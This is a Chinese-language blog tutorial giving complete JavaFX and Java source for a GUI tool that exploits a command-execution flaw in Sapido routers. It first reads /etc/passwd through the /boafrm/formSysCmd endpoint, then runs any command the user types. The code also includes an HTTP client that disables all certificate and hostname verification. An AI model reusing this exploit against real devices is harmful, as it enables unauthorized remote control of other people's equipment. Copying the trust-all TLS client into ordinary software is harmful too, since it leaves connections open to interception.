JAVA-GUI工具的编写-----事件篇
创始人
2024-03-20 23:12:23
0

上一节介绍了HTTP以及HTTPS请求,那么这里我们就接着讲解事件与请求联动。

关于POC以及EXP最大的区别就是,EXP是附带利用功能,而POC仅仅是检测功能,所以这里我们需要动起来,GUI小工具能用上的事件功能其实就两个,一个是下拉列表的事件,一个是按钮点击事件,我们接着看​

首先新增一个Sapido的类,用来默认测试命令执行漏洞,默认执行查看/etc/passwd命令,这里面其实可以写活的,用我上次讲的,给他接一个形参cmd用来接收命令参数,然后在检测的时候给他一个默认值,利用的时候重新调用这个方法,再给他一个新的实参,就可以达到我们的预期效果,但是没有太大的必要,这里为了方便我们的讲解,我们先这么写,然后在执行我们想要的命令的时候我会给大家介绍,如何把这个参数写活​

import org.jsoup.Jsoup;
import org.jsoup.nodes.Document;
import org.jsoup.select.Elements;import java.net.URL;public class Sapido {public static String Sapido(String target) throws Exception {URL url = new URL(target);  //new一下urlString cmd_res = HttpRequest.http_post(url + "/boafrm/formSysCmd", "sysCmd=cat+/etc/passwd&apply=Apply&submit-url=/syscmd.htm&msg=");   //调用Http_Post请求,这里直接将参数写死了,执行查看passwd文件命令,其实这里可以写活,就是引用一个活的参数,一会在外面会介绍,这里先写死Document doc = Jsoup.parse(cmd_res);    //调用一下Jsoup库的parse方法,因为返回包格式是html表单,我们只需要取表单的某一个参数值Elements rows = doc.select("textarea[name=msg]");   //我们截取html表单textarea,名字msg的值,为什么是这个值,大家抓包看一下就知道了String tim = rows.text();   //转换一下格式类型return "执行结果如下:" + "\n" + tim;  //return一下}
}

我们返回我们的框架GUIDemo.java,我们需要新增如下代码

final String[] name = {null};   //用来对接下拉列表的值//设置下拉列表监听事件choiceBox.getSelectionModel().selectedIndexProperty().addListener(new ChangeListener() {public void changed(ObservableValue ov, Number value, Number new_value) {String ChoiceBox_Name = strings[new_value.intValue()];     //做一个变量接一下下拉列表的值textArea1.setText(strings[new_value.intValue()]);   //纯偷窥一下接受到的值name[0] = ChoiceBox_Name;   //赋值}});//添加按钮功能button.setOnAction(event -> {String url = textArea.getText();  //接收urlboolean sapido = name[0].equalsIgnoreCase("Sapido RCE");    //直接用布尔类型对比参数是否与下拉列表的值相同if (sapido) {try {String sapidotext = Sapido.Sapido(url); //调用Sapido类,将返回结果赋值给sapidotext变量textArea1.setText(sapidotext);  //将sapidotext变量的值返回给textArea1button1.setOnAction(event1 -> {});} catch (Exception e) {textArea1.setText("未发现漏洞,或请求异常");}}else {textArea1.setText("未发现漏洞,或请求异常");}});

我们看一下漏洞检测效果
在这里插入图片描述

此时已经完成了POC的玩法,我们接下来实现EXP功能,自定义命令输入,其实就是在检测成功的基础上增加一个按钮功能,没错,就是执行按钮的功能

if (sapido) {try {String sapidotext = Sapido.Sapido(url); //调用Sapido类,将返回结果赋值给sapidotext变量textArea1.setText(sapidotext);  //将sapidotext变量的值返回给textArea1button1.setOnAction(event1 -> {String cmd = textArea2.getText();   //接收textArea2的命令String command = String.format("sysCmd=%s&apply=Apply&submit-url=/syscmd.htm&msg=", cmd);  //字符串替换命令try {String Run = HttpRequest.http_post(url + "/boafrm/formSysCmd", command);    //调用一下Document doc = Jsoup.parse(Run);Elements rows = doc.select("textarea[name=msg]");String tim = rows.text();textArea1.setText(sapidotext + "\n" + "执行结果如下:" + "\n" + tim);} catch (Exception e) {throw new RuntimeException(e);}});

我们看一下执行效果
在这里插入图片描述
肥畅nice,我们打包一下,爽一把
在这里插入图片描述
在这里插入图片描述

完整代码
GuiDemo.java

import javafx.application.Application;
import javafx.beans.value.ChangeListener;
import javafx.beans.value.ObservableValue;
import javafx.collections.FXCollections;
import javafx.scene.Scene;
import javafx.scene.control.Button;
import javafx.scene.control.ChoiceBox;
import javafx.scene.control.Label;
import javafx.scene.control.TextArea;
import javafx.scene.image.Image;
import javafx.scene.layout.AnchorPane;
import javafx.stage.Stage;
import org.jsoup.Jsoup;
import org.jsoup.nodes.Document;
import org.jsoup.select.Elements;public class GuiDemo extends Application {      //创建一个GuiDemo类,GuiDemo继承Application类public void start(Stage GuiDemo) {          //创建一个无返回的start方法,Stage GuiDemo是JAVAFX里面的一个属性//设置titleGuiDemo.setTitle("GUI小DEMO  by:vlan911 ");  //设置小工具的标题GuiDemo.setMaxWidth(700);   //设置小工具的最大宽度GuiDemo.setMaxHeight(500);  //设置小工具的最大高度//设置iconGuiDemo.getIcons().add(new Image("22.jpg"));    //设置GUI的小图标,图标需要放在classes目录下或是网上的在线图片//添加URL文字提示Label l = new Label("请输入URL");      //设置一个lable,用来显示提示文字l.setLayoutX(5);        //设置lable的横坐标l.setLayoutY(10);       //设置lable的纵坐标l.setPrefWidth(70);     //设置lable的宽度l.setPrefHeight(20);    //设置lable的高度//添加URL文本框TextArea textArea = new TextArea();     //添加一哥文本框,用来接收URLtextArea.setLayoutX(75);        //设置文本框的横坐标textArea.setLayoutY(5);         //设置文本框的纵坐标textArea.setPrefWidth(220);     //设置文本框的宽度textArea.setPrefHeight(20);     //设置文本框的高度//添加下拉按钮String strings[] = {"Kyan RCE", "Sapido RCE", "Vigor 2960 RCE"};    //添加一个字符串数组ChoiceBox choiceBox = new ChoiceBox(FXCollections.observableArrayList(strings));    //添加一个下拉列表,内容就是上面的字符串数组choiceBox.setLayoutX(315);  //设置下拉列表的横坐标choiceBox.setLayoutY(10);   //设置下拉列表的纵坐标choiceBox.setPrefHeight(20);    //设置下拉列表的高度choiceBox.setPrefWidth(70);     //设置下拉列表的宽度//添加确定按钮Button button = new Button("确定");   //添加一个按钮button.setLayoutX(405);     //设置按钮的横坐标button.setLayoutY(10);      //设置按钮的纵坐标button.setPrefHeight(20);   //设置按钮的高度button.setPrefWidth(50);    //设置按钮的宽度//添加回显文本框TextArea textArea1 = new TextArea();        //添加一个回显文本框textArea1.setLayoutX(5);        //设置文本框的横坐标textArea1.setLayoutY(100);      //设置文本框的纵坐标textArea1.setPrefHeight(300);   //设置文本框的高度textArea1.setPrefWidth(500);    //设置文本框的宽度textArea1.setWrapText(true);    //设置文本框里的文字自动换行textArea1.setText("Kyan信息泄露漏洞\n" +"Kyan命令注入漏洞\n" +"Sapido命令执行漏洞\n" +"Vigor 2960命令执行\n" +"博华网龙RCE\n" +"西迪特WirelessRCE");//添加执行命令文字提示Label l1 = new Label("请输入命令");l1.setLayoutX(5);l1.setLayoutY(62);l1.setPrefWidth(70);l1.setPrefHeight(20);//添加命令文本框TextArea textArea2 = new TextArea();textArea2.setLayoutX(75);textArea2.setLayoutY(55);textArea2.setPrefHeight(20);textArea2.setPrefWidth(220);//添加执行按钮Button button1 = new Button("执行");button1.setLayoutX(315);button1.setLayoutY(62);button1.setPrefHeight(20);button1.setPrefWidth(50);textArea2.setText("请输入命令...");//添加一个pane,用来装填按钮等插件AnchorPane anchorPane = new AnchorPane();   //添加一个pane,用来装后面的小插件anchorPane.getChildren().addAll(textArea, choiceBox, button, l, textArea1, textArea2, l1, button1);  //调用getChildren方法的addAll方法,写死就行,括号里的就是我们添加的插件名字Scene scene = new Scene(anchorPane, 600, 700);  //社子和Pane的默认宽度、高度,不能超过设置的窗口临界值GuiDemo.setScene(scene);    //把窗口的属性填进去GuiDemo.show();    //显示窗口,否则运行的话是没有东西的final String[] name = {null};   //用来对接下拉列表的值//设置下拉列表监听事件choiceBox.getSelectionModel().selectedIndexProperty().addListener(new ChangeListener() {public void changed(ObservableValue ov, Number value, Number new_value) {String ChoiceBox_Name = strings[new_value.intValue()];     //做一个变量接一下下拉列表的值textArea1.setText(strings[new_value.intValue()]);   //纯偷窥一下接受到的值name[0] = ChoiceBox_Name;   //赋值}});//添加按钮功能button.setOnAction(event -> {String url = textArea.getText();  //接收urlboolean sapido = name[0].equalsIgnoreCase("Sapido RCE");    //直接用布尔类型对比参数是否与下拉列表的值相同if (sapido) {try {String sapidotext = Sapido.Sapido(url); //调用Sapido类,将返回结果赋值给sapidotext变量textArea1.setText(sapidotext);  //将sapidotext变量的值返回给textArea1button1.setOnAction(event1 -> {String cmd = textArea2.getText();   //接收textArea2的命令String command = String.format("sysCmd=%s&apply=Apply&submit-url=/syscmd.htm&msg=", cmd);  //字符串替换命令try {String Run = HttpRequest.http_post(url + "/boafrm/formSysCmd", command);    //调用一下Document doc = Jsoup.parse(Run);Elements rows = doc.select("textarea[name=msg]");String tim = rows.text();textArea1.setText(sapidotext + "\n" + "执行结果如下:" + "\n" + tim);} catch (Exception e) {throw new RuntimeException(e);}});} catch (Exception e) {textArea1.setText("未发现漏洞,或请求异常");}}else {textArea1.setText("未发现漏洞,或请求异常");}});}public static void main(String[] args) {launch(args);}
}

HttpRequest.java

import okhttp3.*;import javax.net.ssl.*;
import java.net.URL;public class HttpRequest {//第一个方法是用来跳过证书校验环节的,是我copy过来的public static OkHttpClient getUnsafeOkHttpClient() {try {final TrustManager[] trustAllCerts = new TrustManager[]{new X509TrustManager() {@Overridepublic void checkClientTrusted(java.security.cert.X509Certificate[] chain, String authType) {}@Overridepublic void checkServerTrusted(java.security.cert.X509Certificate[] chain, String authType) {}@Overridepublic java.security.cert.X509Certificate[] getAcceptedIssuers() {return new java.security.cert.X509Certificate[]{};}}};final SSLContext sslContext = SSLContext.getInstance("SSL");sslContext.init(null, trustAllCerts, new java.security.SecureRandom());final javax.net.ssl.SSLSocketFactory sslSocketFactory = sslContext.getSocketFactory();OkHttpClient.Builder builder = new OkHttpClient.Builder();builder.sslSocketFactory(sslSocketFactory);builder.hostnameVerifier(new HostnameVerifier() {@Overridepublic boolean verify(String hostname, SSLSession session) {return true;}});return builder.build();} catch (Exception e) {throw new RuntimeException(e);}}//因为更改了玩法,所以需要分开写post请求和get请求,这里的post请求我给他两个参数,// 分别是请求地址requestUrl以及请求body体outputStr,大家可以根据自己的实际需求增加,比如增加一个cookie,在get请求里会介绍public static String http_post(String requestUrl, String outputStr) throws Exception {//首先给一个全局变量resquestbody,用来接收返回结果String resquestbody = "";try {//实例化URL,给requestUrl赋给url参数URL url = new URL(requestUrl);//这里和第61行可以写一块,这么写仅仅是为了美观Request request = null;//这个与第63行可以写一块,这么写仅仅是为了美观RequestBody requestBody;//与StringBuilder有异曲同工之处,只可意会不可言传Request.Builder builder = new Request.Builder();//将请求的包加载进去,加载的时候必须跟上content-type属性requestBody = RequestBody.create(MediaType.parse("application/x-www-form-urlencoded"), outputStr);//这里面用的其实是httpok的request方法,builder.get()并不是说是get请求,而是用来获取里面的参数/** url(url)  获取URL* post(requestBody)  post方法,获取方法体* addHeader("Cookie", "PHPSESSID=d383f6ut2i84pjsmmu2oceba16;")  添加一个cookie* */request = builder.get().url(url).post(requestBody).addHeader("Cookie", "PHPSESSID=d383f6ut2i84pjsmmu2oceba16;").build();//OkHttpClient okHttpClient = new OkHttpClient();//注意,这里 是关键,不用这个https的依然会报错OkHttpClient okHttpClient = getUnsafeOkHttpClient();Response response;try {//接收请求,没什么可说的response = okHttpClient.newCall(request).execute();//System.out.println(response.body().string());assert response.body() != null;//获取返回包的包体,和python挺像的,这里需要使用string()方法resquestbody = resquestbody + response.body().string();} catch (Exception e) {//log.error("发送同步-get请求发生异常:url={} ", e.fillInStackTrace());//System.out.println(e.getMessage());//如果执行出错了,会打印异常日志,他和上面的是一起的,如果try里的全执行了就不会跑到这,// 如果try里面执行了一半挂了,依然会跑到这。感兴趣的小伙伴可以自己试验一下resquestbody = e.getMessage();}} catch (Exception e) {e.printStackTrace();}//        System.out.println(resquestbody);return resquestbody;}//为了方便演示,这里面给大家引入了一个新的session,其实就是如果我想把参数灵活起来用,应该怎么玩public static String http_get(String requestUrl, String session) throws Exception {//依然是先给一个全局变量String resquestbody = "";try {//实例化一个新的urlURL url = new URL(requestUrl);Request request = null;Request.Builder builder = new Request.Builder();//老生常谈了,没啥可说的,cookie直接从局部变量接收就行,因为他是一个字符串,直接用也行request = builder.get().url(url).get().addHeader("Cookie", session).build();//OkHttpClient okHttpClient = new OkHttpClient();OkHttpClient okHttpClient = getUnsafeOkHttpClient();Response response;try {response = okHttpClient.newCall(request).execute();assert response.body() != null;resquestbody = resquestbody + response.body().string();//System.out.println(resquestbody);} catch (Exception e) {//log.error("发送同步-get请求发生异常:url={} ", e.fillInStackTrace());resquestbody = e.getMessage();}} catch (Exception e) {e.printStackTrace();}System.out.println(resquestbody);return resquestbody;}}

Sapido.java

import org.jsoup.Jsoup;
import org.jsoup.nodes.Document;
import org.jsoup.select.Elements;import java.net.URL;public class Sapido {public static String Sapido(String target) throws Exception {URL url = new URL(target);  //new一下urlString cmd_res = HttpRequest.http_post(url + "/boafrm/formSysCmd", "sysCmd=cat+/etc/passwd&apply=Apply&submit-url=/syscmd.htm&msg=");   //调用Http_Post请求,这里直接将参数写死了,执行查看passwd文件命令,其实这里可以写活,就是引用一个活的参数,一会在外面会介绍,这里先写死Document doc = Jsoup.parse(cmd_res);    //调用一下Jsoup库的parse方法,因为返回包格式是html表单,我们只需要取表单的某一个参数值Elements rows = doc.select("textarea[name=msg]");   //我们截取html表单textarea,名字msg的值,为什么是这个值,大家抓包看一下就知道了String tim = rows.text();   //转换一下格式类型return "执行结果如下:" + "\n" + tim;  //return一下}
}

router.java

public class router {public static void main(String[] args) {GuiDemo.main(args);}}

pom.xml


4.0.0org.examplenewrouter1.0-SNAPSHOT88UTF-8com.alibabafastjson1.2.83org.jsoupjsoup1.15.3com.squareup.okiookio1.16.0org.slf4jslf4j-api1.7.25org.slf4jslf4j-simple2.0.3compileorg.slf4jslf4j-nop1.7.30com.squareup.okhttp3okhttp4.9.3com.squareup.okhttp3okhttp3.10.0com.squareup.okiookio1.13.0org.examplenewrouter1.0-SNAPSHOTorg.openjfxjavafx-web17.0.2

完整代码结构截图
在这里插入图片描述
打包截图
在这里插入图片描述
完结了

相关内容

热门资讯

监控摄像头接入GB28181平... 流程简介将监控摄像头的视频在网站和APP中直播,要解决的几个问题是:1&...
Windows10添加群晖磁盘... 在使用群晖NAS时,我们需要通过本地映射的方式把NAS映射成本地的一块磁盘使用。 通过...
protocol buffer... 目录 目录 什么是protocol buffer 1.protobuf 1.1安装  1.2使用...
在Word、WPS中插入AxM... 引言 我最近需要写一些文章,在排版时发现AxMath插入的公式竟然会导致行间距异常&#...
Fluent中创建监测点 1 概述某些仿真问题,需要创建监测点,用于获取空间定点的数据࿰...
educoder数据结构与算法...                                                   ...
MySQL下载和安装(Wind... 前言:刚换了一台电脑,里面所有东西都需要重新配置,习惯了所...
MFC文件操作  MFC提供了一个文件操作的基类CFile,这个类提供了一个没有缓存的二进制格式的磁盘...
有效的括号 一、题目 给定一个只包括 '(',')','{','}'...
【Ctfer训练计划】——(三... 作者名:Demo不是emo  主页面链接:主页传送门 创作初心ÿ...